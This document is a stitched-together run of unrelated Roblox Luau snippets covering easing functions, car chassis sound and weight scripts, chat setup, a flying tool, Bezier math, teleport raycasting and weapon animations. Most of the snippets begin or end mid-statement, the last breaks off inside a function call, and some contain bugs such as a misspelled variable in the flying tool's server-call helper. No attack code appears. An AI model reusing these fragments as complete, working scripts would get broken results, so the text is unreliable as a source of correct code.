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-- a: amplitud -- p: period
local function outElastic(t, b, c, d, a, p) if t == 0 then return b end t = t / d if t == 1 then return b + c end if not p then p = d * 0.3 end local s if not a or a < abs(c) then a = c s = p / 4 else s = p / (2 * pi) * asin(c/a) end return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b end
--[=[ Removes a saving callback from the data store stage @param callback function ]=]
function DataStoreStage:RemoveSavingCallback(callback) assert(type(callback) == "function", "Bad callback") local index = table.find(self._savingCallbacks, callback) if index then table.remove(self._savingCallbacks, index) end end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (setAngles) then local desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end end
-- End of Editable Values
local car = script.Parent.Car.Value local values = script.Parent.Values local tune = require(car["A-Chassis Tune"]) local event = car:WaitForChild('BoostSounds') local newsounds={} local bst=values.Boost local throt=values.Throttle local pbst=-1000 local function create(car,info) for k=0,3 do local ns=Instance.new('Sound') ns.Parent=car.Body.Engine if k==1 then ns.Name='Turbo' ns.SoundId='rbxassetid://'..info[1] ns.Volume=0 ns.RollOffMaxDistance=info[2] ns.RollOffMinDistance=info[3] ns.Looped=true elseif k==2 then ns.Name='Super' ns.SoundId='rbxassetid://'..info[4] ns.Volume=0 ns.RollOffMaxDistance=info[5] ns.RollOffMinDistance=info[6] ns.Looped=true elseif k==3 then ns.Name='Bov' ns.SoundId='rbxassetid://'..info[7] ns.Volume=0 ns.RollOffMaxDistance=info[8] ns.RollOffMinDistance=info[9] ns.Looped=false end ns:Play() table.insert(newsounds,k,ns) end end local function update(sounds,info) if newsounds[1].Volume~=info[1] then newsounds[1].Volume=info[1] newsounds[1].Pitch=info[2] newsounds[2].Volume=info[3] newsounds[2].Pitch=info[4] newsounds[3].Volume=info[5] newsounds[3].Pitch=info[6] end end local function play() for _,s in pairs(newsounds) do s:Play() end end local function stop() for _,s in pairs(newsounds) do s:Stop() end end local function turboupd(x) info[1]=TurboVol*math.floor(values.BoostTurbo.Value) info[2]=TurboSetPitch+(TurboPitchIncrease*values.BoostTurbo.Value) info[5]=BovVol*math.floor(values.BoostTurbo.Value) info[6]=BovSetPitch+(BovPitchIncrease*values.BoostTurbo.Value) end local function superupd(x) info[3]=SuperVol*values.BoostSuper.Value info[4]=SuperSetPitch+(SuperPitchIncrease*values.BoostSuper.Value) end local function twinupd(x) info[1]=TurboVol*math.floor(values.BoostTurbo.Value) info[2]=TurboSetPitch+(TurboPitchIncrease*values.BoostTurbo.Value) info[3]=SuperVol*values.BoostSuper.Value info[4]=SuperSetPitch+(SuperPitchIncrease*values.BoostSuper.Value) info[5]=BovVol*math.floor(values.BoostTurbo.Value) info[6]=BovSetPitch+(BovPitchIncrease*values.BoostTurbo.Value) end info = {TurboId,TurboRollOffMax,TurboRollOffMin,SuperId,SuperRollOffMax,SuperRollOffMin,BovId,BovRollOffMax,BovRollOffMin} if FE==true then event:FireServer(car,'create',info) if values.Parent.IsOn.Value==true then event:FireServer(car,'play') else event:FireServer(car,'stop') end elseif FE==false then create(car,info) if values.Parent.IsOn.Value==true then play() else stop() end end if BovId>0 then throt.Changed:Connect(function() local pbst=bst.Value wait(.1) if bst.Value+BovSensitivity<pbst then if FE==true then event:FireServer(car,'bovplay') else newsounds[3]:Play() end end end) end if tune.Turbochargers>0 and tune.Superchargers==0 then info[3]=0 info[4]=0 bst.Changed:Connect(function(x) turboupd() if FE==true then event:FireServer(car,'update',nil,info) else update(newsounds,info) end end) elseif tune.Superchargers>0 and tune.Turbochargers==0 then info[1]=0 info[2]=0 info[5]=0 info[6]=0 bst.Changed:Connect(function(x) superupd(x) if FE==true then event:FireServer(car,'update',nil,info) else update(newsounds,info) end end) elseif tune.Turbochargers>0 and tune.Superchargers>0 then bst.Changed:Connect(function(x) twinupd(x) if FE==true then event:FireServer(car,'update',nil,info) else update(newsounds,info) end end) end values.Parent.IsOn.Changed:Connect(function(v) if v==false and FE==true then event:FireServer(car,'stop') elseif v==true and FE==true then event:FireServer(car,'play') elseif v==false and FE==false then stop() elseif v==true and FE==false then play() end end)
--[[ Navigates to the next page. ]]
modules.nextPage = function(self) return function(pageSize) if self.isAnimating then return end local nextIndex = self.state.selectedIndex + pageSize if nextIndex > #self.props.images then nextIndex -= #self.props.images end self.setCurrentIndex(nextIndex, -pageSize) end end
--- FUNCTIONS ---
script.Parent.ChildAdded:Connect(function(child) local list = {} if child:IsA("BasePart") then table.insert(list, child) end for _,descendant in pairs(child:GetDescendants()) do if descendant:IsA("BasePart") then table.insert(list, descendant) end end repeat task.wait() until child.Anchored == false task.wait(1) for _,item in pairs(list) do tween_service:Create(item, TweenInfo.new(3), {Transparency = 1}):Play() end task.wait(3) child:Destroy() end)
--// Rest of code after waiting for correct events.
local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local canChat = true local ChatDisplayOrder = 6 if ChatSettings.ScreenGuiDisplayOrder ~= nil then ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local GuiParent = Instance.new("ScreenGui") GuiParent.Name = "Chat" GuiParent.ResetOnSpawn = false GuiParent.DisplayOrder = ChatDisplayOrder GuiParent.Parent = PlayerGui local DidFirstChannelsLoads = false local modulesFolder = script local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow")) local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar")) local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar")) local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator")) local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay")) local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor")) local ChatWindow = moduleChatWindow.new() local ChannelsBar = moduleChannelsBar.new() local MessageLogDisplay = moduleMessageLogDisplay.new() local CommandProcessor = moduleCommandProcessor.new() local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow) ChatWindow:CreateGuiObjects(GuiParent) ChatWindow:RegisterChatBar(ChatBar) ChatWindow:RegisterChannelsBar(ChannelsBar) ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay) MessageCreatorUtil:RegisterChatWindow(ChatWindow) local MessageSender = require(modulesFolder:WaitForChild("MessageSender")) MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest) if (UserInputService.TouchEnabled) then ChatBar:SetTextLabelText('Tap here to chat') else ChatBar:SetTextLabelText('To chat click here or press "/" key') end spawn(function() local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil")) local animationFps = ChatSettings.ChatAnimationFPS or 20.0 local updateWaitTime = 1.0 / animationFps local lastTick = tick() while true do local currentTick = tick() local tickDelta = currentTick - lastTick local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta) if dtScale ~= 0 then ChatWindow:Update(dtScale) end lastTick = currentTick wait(updateWaitTime) end end)
--Brake.InputChanged:Connect(TouchBrake)
local function TouchHandbrake(input, GPE) if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end end Handbrake.InputBegan:Connect(TouchHandbrake) Handbrake.InputEnded:Connect(TouchHandbrake)
-- Decompiled with the Synapse X Luau decompiler.
local l__Instance_new__1 = Instance.new; return function(p1) return function(p2, ...) local v1 = l__Instance_new__1(p1); local l__Parent__2 = p2.Parent; if l__Parent__2 then p2.Parent = nil; end; local l__next__3 = next; local v4 = nil; while true do local v5 = nil; local v6 = nil; v6, v5 = l__next__3(p2, v4); if not v6 then break; end; v4 = v6; if type(v6) == "number" then v5.Parent = v1; else v1[v6] = v5; end; end; if l__Parent__2 then v1.Parent = l__Parent__2; end; if not ... then return v1; end; local v7 = { ... }; for v8 = 1, #v7 do local v9 = v1:Clone(); local l__next__10 = next; local v11 = v7[v8]; local v12 = nil; while true do local v13 = nil; local v14 = nil; v14, v13 = l__next__10(v11, v12); if not v14 then break; end; v12 = v14; if type(v14) == "number" then v13.Parent = v9; else v9[v14] = v13; end; end; v9.Parent = not v9.Parent or l__Parent__2; v7[v8] = v9; end; return v1, unpack(v7); end; end;
--Precalculated paths
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-- How many studs the ai can wander on the x and z axis in studs
--Rescripted by Luckymaxer --Made by Stickmasterluke --// Fixed for R15 avatars by StarWars -- Fixed by Stickmasterluke to support mobile
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") AnimationTracks = {} LocalObjects = {} Animations = { CoastingPose = {Animation = Tool:WaitForChild("CoastingPose"), FadeTime = 0.5, Weight = nil, Speed = nil}, LeftTurn = {Animation = Tool:WaitForChild("LeftTurn"), FadeTime = 0.5, Weight = nil, Speed = nil}, RightTurn = {Animation = Tool:WaitForChild("RightTurn"), FadeTime = 0.5, Weight = nil, Speed = nil}, R15CoastingPose = {Animation = Tool:WaitForChild("R15CoastingPose"), FadeTime = 0.5, Weight = nil, Speed = nil}, R15LeftTurn = {Animation = Tool:WaitForChild("R15LeftTurn"), FadeTime = 0.5, Weight = nil, Speed = nil}, R15RightTurn = {Animation = Tool:WaitForChild("R15RightTurn"), FadeTime = 0.5, Weight = nil, Speed = nil}, } Sounds = { Wind = Handle:WaitForChild("Wind"), } Controls = { Forward = { Value = 0, DesiredValue = -1, Keys = { Key = "w", ByteKey = 17 } }, Backward = { Value = 0, DesiredValue = 1, Keys = { Key = "s", ByteKey = 18 } }, Left = { Value = 0, DesiredValue = -1, Keys = { Key = "a", ByteKey = 20 } }, Right = { Value = 0, DesiredValue = 1, Keys = { Key = "d", ByteKey = 19 } } } Speed = { Current = 2, Max = 50 } Inertia = (1 - (Speed.Current / Speed.Max)) Momentum = Vector3.new(0, 0, 0) LastMomentum = Vector3.new(0, 0, 0) TotalMomentum = 0 LastTilt = 0 LastAnimUsed = nil Rate = (1 / 60) Flying = false ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") ToolEquipped = false function RemoveFlyStuff() if CheckIfAlive() then Humanoid.AutoRotate = true Humanoid.PlatformStand = false end LastAnimUsed = nil for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyGyro") or v:IsA("BodyVelocity") then Debris:AddItem(v, 0) end end for i, v in pairs(Animations) do SetAnimation("StopAnimation", v) end spawn(function() InvokeServer("ToggleSound", false) end) end function Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function Fly() if not ToolEquipped or not CheckIfAlive() then Flying = false else Flying = not Flying end if Flying and ToolEquipped and CheckIfAlive() then local Cloud = InvokeServer("Fly", {Flying = true}) Momentum = (Torso.Velocity + (Torso.CFrame.lookVector * 10) + Vector3.new(0, 3, 0)) Momentum = Vector3.new(Clamp(Momentum.X, -15, 15), Clamp(Momentum.Y, -15, 15), Clamp(Momentum.Z, -15, 15)) local FlightGyro = Instance.new("BodyGyro") FlightGyro.Name = "FlightGyro" FlightGyro.P = (10 ^ 4.5) FlightGyro.maxTorque = Vector3.new(FlightGyro.P, FlightGyro.P, FlightGyro.P) FlightGyro.cframe = Torso.CFrame FlightGyro.Parent = Torso local FlightVelocity = Instance.new("BodyVelocity") FlightVelocity.Name = "FlightVelocity" FlightVelocity.velocity = Vector3.new(0, 0, 0) FlightVelocity.P = (10 ^ 4) FlightVelocity.maxForce = (Vector3.new(1, 1, 1) * (10 ^ 6)) FlightVelocity.Parent = Torso for i, v in pairs(Controls) do Controls[i].Value = 0 end Humanoid.AutoRotate = false Humanoid.PlatformStand = true spawn(function() InvokeServer("ToggleSound", true) end) while Flying and CheckIfAlive() and ToolEquipped do --print(Humanoid.MoveDirection) local Camera = game:GetService("Workspace").CurrentCamera local CoordinateFrame = Camera.CoordinateFrame local Movement = Vector3.new(0, 0, 0) --[[local ControlVector = Vector3.new((Controls.Left.Value + Controls.Right.Value), (math.abs(Controls.Forward.Value) * 0.2), (Controls.Forward.Value + Controls.Backward.Value)) if ControlVector.Magnitude > 0 then Movement = CoordinateFrame:vectorToWorldSpace(ControlVector.Unit * Speed.Current) end]] if Humanoid.MoveDirection.magnitude > 0 then local localControlVector = CFrame.new(Vector3.new(0,0,0),CoordinateFrame.lookVector*Vector3.new(1,0,1)):vectorToObjectSpace(Humanoid.MoveDirection+Vector3.new(0,.2,0)) Movement = CoordinateFrame:vectorToWorldSpace(localControlVector.Unit * Speed.Current) end Momentum = ((Momentum * Inertia) + Movement) TotalMomentum = math.min(Momentum.Magnitude, Speed.Max) local MomentumPercent = (TotalMomentum / Speed.Max) if TotalMomentum > Speed.Max then TotalMomentum = Speed.Max end if Cloud then local Mesh = Cloud:FindFirstChild("Mesh") if Mesh then spawn(function() InvokeServer("SetMesh", MomentumPercent) end) end end spawn(function() InvokeServer("SetSound", MomentumPercent) end) local Tilt = ((Momentum * Vector3.new(1, 0, 1)).unit:Cross(((LastMomentum * Vector3.new(1, 0, 1)).unit))).y if tostring(Tilt) == "-1.#IND" or tostring(Tilt) == "1.#IND" or Tilt == math.huge or Tilt == -math.huge or tostring(0 / 0) == tostring(Tilt) then Tilt = 0 end local AbsoluteTilt = math.abs(Tilt) if AbsoluteTilt > 0.06 or AbsoluteTilt < 0.0001 then if math.abs(LastTilt) > 0.0001 then Tilt = (LastTilt * 0.96) else Tilt = 0 end else Tilt = ((LastTilt * 0.9) + (Tilt * 0.1)) end LastTilt = Tilt if Tilt > 0.01 then local Animation = Animations.RightTurn if Humanoid.RigType == Enum.HumanoidRigType.R15 then Animation = Animations.R15RightTurn end if LastAnimUsed ~= Animation then SetAnimation("StopAnimation", LastAnimUsed) SetAnimation("PlayAnimation", Animation) LastAnimUsed = Animation end elseif Tilt < -0.01 then local Animation = Animations.LeftTurn if Humanoid.RigType == Enum.HumanoidRigType.R15 then Animation = Animations.R15LeftTurn end if LastAnimUsed ~= Animation then SetAnimation("StopAnimation", LastAnimUsed) SetAnimation("PlayAnimation", Animation) LastAnimUsed = Animation end else local Animation = Animations.CoastingPose if Humanoid.RigType == Enum.HumanoidRigType.R15 then Animation = Animations.R15CoastingPose end if LastAnimUsed ~= Animation then SetAnimation("StopAnimation", LastAnimUsed) SetAnimation("PlayAnimation", Animation) LastAnimUsed = Animation end end if TotalMomentum < 0.5 then Momentum = Vector3.new(0, 0, 0) TotalMomentum = 0 FlightGyro.cframe = (CFrame.new(Vector3.new(0,0,0), (Camera.CoordinateFrame.lookVector * Vector3.new(1, 0, 1))) * CFrame.Angles(0, -(math.pi / 2), 0)) else FlightGyro.cframe = (CFrame.new(Vector3.new(0,0,0), Momentum) * CFrame.Angles(0, -(math.pi / 2), 0) * CFrame.Angles((Tilt * -20),0,0)) end FlightVelocity.velocity = Momentum local GravityDelta = ((((Momentum * Vector3.new(0, 1, 0)) - Vector3.new(0, -Speed.Max, 0)).magnitude / Speed.Max) * 0.5) if GravityDelta > 0.45 then end LastMomentum = Momentum wait(Rate) end if CheckIfAlive() then Humanoid.AutoRotate = true Humanoid.PlatformStand = false Humanoid:ChangeState(Enum.HumanoidStateType.Freefall) end local Cloud = InvokeServer("Fly", {Flying = false}) RemoveFlyStuff() Flying = false end end function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(AnimationTracks) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(AnimationTracks, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(AnimationTracks) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(AnimationTracks, i) end end end end function DisableJump(Boolean) if PreventJump then PreventJump:Disconnect() end if Boolean then PreventJump = Humanoid.Changed:Connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) end end function CheckIfAlive() return (((Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Head and Head.Parent and Torso and Torso.Parent) and true) or false) end function Activated() Spawn(Fly) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Head = Character:FindFirstChild("Head") Torso = Character:FindFirstChild('HumanoidRootPart') if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() Mouse.KeyDown:Connect(function(Key) OnClientInvoke("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:Connect(function(Key) OnClientInvoke("KeyPress", {Key = Key, Down = false}) end) Spawn(function() RemoveFlyStuff() end) ToolEquipped = true end function Unequipped() LocalObjects = {} RemoveFlyStuff() for i, v in pairs(AnimationTracks) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do if v then v:Disconnect() end end AnimationTracks = {} ToolEquipped = false end function InvokeServer(mode, value) local ServerRtrurn pcall(function() ServerReturn = ServerControl:InvokeServer(mode, value) end) return ServerReturn end function OnClientInvoke(mode, value) if not ToolEquipped or not CheckIfAlive() then return end if mode == "PlayAnimation" then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target} elseif mode == "DisableJump" and value then DisableJump(value) elseif mode == "SetLocalTransparencyModifier" and value then pcall(function() local ObjectFound = false for i, v in pairs(LocalObjects) do if v == value then ObjectFound = true end end if not ObjectFound then table.insert(LocalObjects, value) if ObjectLocalTransparencyModifier then ObjectLocalTransparencyModifier:Disconnect() end ObjectLocalTransparencyModifier = RunService.RenderStepped:Connect(function() for i, v in pairs(LocalObjects) do if v.Object and v.Object.Parent then local CurrentTransparency = v.Object.LocalTransparencyModifier if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then v.Object.LocalTransparencyModifier = v.Transparency end else table.remove(LocalObjects, i) end end end) end end) elseif mode == "KeyPress" and value then local Key = value.Key local ByteKey = string.byte(Key) local Down = value.Down for i, v in pairs(Controls) do if v.Keys.Key == Key or v.Keys.ByteKey == ByteKey then v.Value = ((Down and v.DesiredValue) or 0) end end end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped)
--[[ Handles case when configuration changes in server - we'd have to reset some of the items in order for it to make sense. ]]
return function(contexts, services, remoteEvents) return function(config) local playerSpots = contexts.playerSpots -- Reset all player spots for userId, playerSpot in pairs(playerSpots) do playerSpot:cleanup() playerSpots[userId] = PlayerSpots.new(config.quotaPerPlayer) end -- Re-run setup code contexts.canvases = {} setupServer(contexts, services, remoteEvents) end end
--------| Variables |--------
local trackedStats = { Floors = function(player) if not _L.Variables.UIDData then return 1 end local data = _L.Variables.UIDData[player.Name] if not data then return 1 end return #data.Floor end, Cash = function(player) local save = _L.Saving.Get(player) if not save then return 0 end return save.Cash end }
--[[Vehicle Weight]]
--Determine Current Mass local mass=0 function getMass(p) for i,v in pairs(p:GetChildren())do if v:IsA("BasePart") and not v.Massless then mass=mass+v:GetMass() end getMass(v) end end getMass(car) --Apply Vehicle Weight if mass<_Tune.Weight/2.205/8 then --Calculate Weight Distribution local centerF = Vector3.new() local centerR = Vector3.new() local countF = 0 local countR = 0 for i,v in pairs(Drive) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then centerF = centerF+v.CFrame.p countF = countF+1 else centerR = centerR+v.CFrame.p countR = countR+1 end end centerF = centerF/countF centerR = centerR/countR local center = centerR:Lerp(centerF, _Tune.WeightDist/100) --Create Weight Brick local weightB = Instance.new("Part",car.Body) weightB.Name = "#Weight" weightB.Anchored = true weightB.CanCollide = false weightB.BrickColor = BrickColor.new("Really black") weightB.TopSurface = Enum.SurfaceType.Smooth weightB.BottomSurface = Enum.SurfaceType.Smooth if _Tune.WBVisible then weightB.Transparency = .75 else weightB.Transparency = 1 end weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3]) local tdensity=(_Tune.Weight/2.205-mass/8)/(weightB.Size.x*weightB.Size.y*weightB.Size.z*1000/61024)/1000 weightB.CustomPhysicalProperties = PhysicalProperties.new(tdensity,0,0,0,0) --Real life mass in kg minus existing roblox mass converted to kg, divided by volume of the weight brick in cubic meters, divided by the density of water weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0) --Density Cap if weightB.CustomPhysicalProperties.Density>=2 then warn( "\n\t [AC6C V".._BuildVersion.."]: Density too high for specified volume." .."\n\t Current Density:\t"..math.ceil(tdensity) .."\n\t Max Density:\t"..math.ceil(weightB.CustomPhysicalProperties.Density) .."\n\t Increase weight brick size to compensate.") end else --Existing Weight Is Too Massive warn( "\n\t [AC6C V".._BuildVersion.."]: Mass too high for specified weight." .."\n\t Target Mass:\t"..math.ceil((_Tune.Weight*2.205)*8) .."\n\t Current Mass:\t"..math.ceil(mass) .."\n\t Reduce part size or axle density to achieve desired weight.") end local flipG = Instance.new("BodyGyro",car.DriveSeat) flipG.Name = "Flip" flipG.D = 0 flipG.MaxTorque = Vector3.new(0,0,0) flipG.P = 0
-- game.Players.LocalPlayer.PlayerGui.PunchGui.FKeyThing.LocalScript.Enabled = true
end) script.Parent.Unequipped:Connect(function() game.Players.LocalPlayer.PlayerGui.PunchGui.Enabled = false end) function Handler(BindName, InputState) if script.Parent.Parent.Parent.Name == 'Workspace' then if deb == false then deb = true game.ReplicatedStorage.Parry:FireServer(script.Parent) wait(2) deb = false end end end game:GetService('ContextActionService'):BindAction('RunBind', Handler, true, Enum.KeyCode.F, Enum.KeyCode.ButtonL2)
--Rear
local axle = Instance.new("Part", bike.RearSection) axle.Anchored = true axle.CanCollide = false if _Tune.AxlesVisible or _Tune.Debug then axle.Transparency = .75 else axle.Transparency = 1 end axle.Name = "Axle" axle.Position = rWheel.Position axle.Orientation = rWheel.Orientation axle.Size = Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize) axle.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100) local rgyro=Instance.new("BodyGyro",axle) rgyro.Name="Stabilizer" rgyro.MaxTorque=Vector3.new(1,0,1) rgyro.P=0 rgyro.D=_Tune.RGyroDamp
-- ROBLOX NOTE: no upstream
local CurrentModule = script.Parent local Packages = CurrentModule.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Error = LuauPolyfill.Error local function getFileSystemService() local success, result = pcall(function() return _G.__MOCK_FILE_SYSTEM__ or game:GetService("FileSystemService") end) if not success then error(Error.new("Attempting to save snapshots in an environment where FileSystemService is inaccessible.")) end return result end return getFileSystemService
-- Variables for the zombie, its humanoid, and destination
local zombie = hroot local destination
-- returns the Vector3 point at the given t value, where t is relative to the length of the Bezier curve -- does not work if the bezier does not have any points attached to it
function Bezier:CalculatePositionRelativeToLength(t: number): Vector3 -- check if t is a number between 0 and 1 if type(t) ~= "number" then error("Bezier:CalculatePositionRelativeToLength() only accepts a number, got " .. tostring(t) .. "!") end -- start algorithm to calculate position in bezier local points = self.Points local numPoints = #points -- check if there is at least 1 point if numPoints > 0 then -- important values local length = self.Length local lengthIndeces = self.LengthIndeces local iterations = self.LengthIterations local points = self:GetAllPoints() -- check if there is more than 1 point if #points > 1 then -- get length of bezier local targetLength = length * t -- iterate through sum table local nearestParameterIndex, nearestParameter for i, orderedPair in ipairs(lengthIndeces) do if targetLength - orderedPair[2] <= 0 then nearestParameterIndex = i nearestParameter = orderedPair break elseif i == #lengthIndeces then nearestParameterIndex = i nearestParameter = orderedPair break end end -- calculate percent error local p0, p1 if lengthIndeces[nearestParameterIndex - 1] then p0, p1 = self:CalculatePositionAt(lengthIndeces[nearestParameterIndex - 1][1]), self:CalculatePositionAt(nearestParameter[1]) else p0, p1 = self:CalculatePositionAt(nearestParameter[1]), self:CalculatePositionAt(lengthIndeces[nearestParameterIndex + 1][1]) end local percentError = (nearestParameter[2] - targetLength) / (p1 - p0).Magnitude -- return the position at the nearestParameter return p0 + (p1 - p0) * (1 - percentError) else -- return only position return self:CalculatePositionAt(0) end else -- not enough points to get a position error("Bezier:CalculatePositionRelativeToLength() only works if there is at least 1 BezierPoint!") end end
-- Finds an unobstructed spot teleportDistance studs away from destinationCharacter (nil if none found)
function TeleportToPlayer.getCharacterTeleportPoint(destinationCharacter: Model, teleportDistance: number): CFrame local rootPart = destinationCharacter and destinationCharacter:FindFirstChild("HumanoidRootPart") local humanoid = destinationCharacter and destinationCharacter:FindFirstChild("Humanoid") if not rootPart or not humanoid then return end -- Pre-populate ignore list with destinationCharacter in case it's not a player character (ex: NPCs) local ignoreList = { destinationCharacter } for _, player in ipairs(Players:GetChildren()) do table.insert(ignoreList, player.Character) end local params = RaycastParams.new() params.FilterType = Enum.RaycastFilterType.Blacklist params.FilterDescendantsInstances = ignoreList -- Scan a circular area around the player to find a spot that's not blocked by a wall and has solid ground -- below it for i = 1, RAYCASTS_NUMBER do local rotated = rootPart.CFrame * CFrame.Angles(0, math.pi * 2 * (i / RAYCASTS_NUMBER), 0) -- First raycast to check if there is no obstacle in front local forwardRaycastResult = workspace:Raycast(rootPart.Position, rotated.LookVector * 5, params) if not forwardRaycastResult then local forward = rotated + rotated.LookVector * teleportDistance -- Second raycast to check if there is ground to stand on local downwardRaycastResult = workspace:Raycast(forward.Position, Vector3.new(0, -MAX_HEIGHT, 0), params) local position = downwardRaycastResult and downwardRaycastResult.Position if position then local lookAt = Vector3.new(rootPart.CFrame.X, position.Y, rootPart.CFrame.Z) return CFrame.lookAt(position, lookAt) end end end return end
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.908567965, -0.417737097, 0, -0.116105467, -0.252526551, 0.960598707, -0.401277721, -0.872769237, -0.277939081), function(X) return math.sin(math.rad(X)) end, 0.5) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718405, -2.29667902, 0.787546694, -0.220071048, 0.575620472, -0.228010997, 0.76371783, 0.603942215, -0.572521806, -0.606880486, 0.55128479), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) objs[6].MagIn:Play() TweenJoint(objs[3], nil , CFrame.new(0.387697816, -0.00340933353, -2.07909703, 0.796181142, -0.464059412, 0.388258159, -0.597459137, -0.501594126, 0.625656366, -0.0955937058, -0.730104268, -0.676616311), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718405, -2.29667902, 0.787546694, -0.220071048, 0.575620472, -0.228010997, 0.76371783, 0.603942215, -0.572521806, -0.606880486, 0.55128479), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) objs[6].MagIn:Play() TweenJoint(objs[3], nil , CFrame.new(0.387697816, -0.00340933353, -2.07909703, 0.796181142, -0.464059412, 0.388258159, -0.597459137, -0.501594126, 0.625656366, -0.0955937058, -0.730104268, -0.676616311), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718405, -2.29667902, 0.787546694, -0.220071048, 0.575620472, -0.228010997, 0.76371783, 0.603942215, -0.572521806, -0.606880486, 0.55128479), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) objs[6].MagIn:Play() TweenJoint(objs[3], nil , 